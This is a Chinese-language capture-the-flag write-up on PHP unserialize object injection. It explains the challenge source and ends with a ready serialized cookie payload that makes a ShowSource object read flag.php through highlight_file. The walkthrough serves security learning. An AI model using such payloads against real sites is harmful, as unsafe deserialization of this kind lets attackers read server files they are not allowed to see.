PHP反序列化
刚开始一个页面,点击右下角可以查看源码
主要代码就是这些,开始分析代码
Class ShowSource{
public function __toString()
{
return highlight_file($this->source, true);
}
}
这里创建了一个ShowSource类, __toStrin方法在调用echo的时候会触发这个魔法类
if(isset($_GET['source'])){
$s = new ShowSource();
$s->source = __FILE__;
echo $s;
exit;
}
这里判断是否传入一个source,条件位真之后,实例化一个对象s,把对象里面的source,设置为当前页面的路径。
$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 40);
$m = substr($c, 40);
if(sha1($m) === $h){
$todos = unserialize($m);
}
}
这里判断COOKIE,里面是否存在todos,存在之后赋值给变量$c,取$c的前40位赋值给$h,取剩下的给$m,判断$m的sha1加密值是否和$h一致,条件为真之后对$m反序列化,并且赋值给数组 $todo。
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = sha1($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST\_URI']);
exit;
}
这些代码没有用处可以忽略。
<?php foreach($todos as $todo):?> 表示去遍历todos
<?=$todo?> 等价于<echo $todo?> ,这个就可以触发__toString()函数
<?php endforeach;?>结束遍历
所以我们只需要构造一个如下的代码就可以获取flag
把对象s设置成数组通过序列化函数输出之后就得到了poc
然后根据cookie的条件拼接poc就可以获取flag
db2a103dd4cc5d8271a28152d8f3de49379d9ad8a:1:{i:0;O:10:"ShowSource":1:{s:6:"source";s:8:"flag.php";}}
然后访问初始页面抓包修改flag得到flag,记得要url编码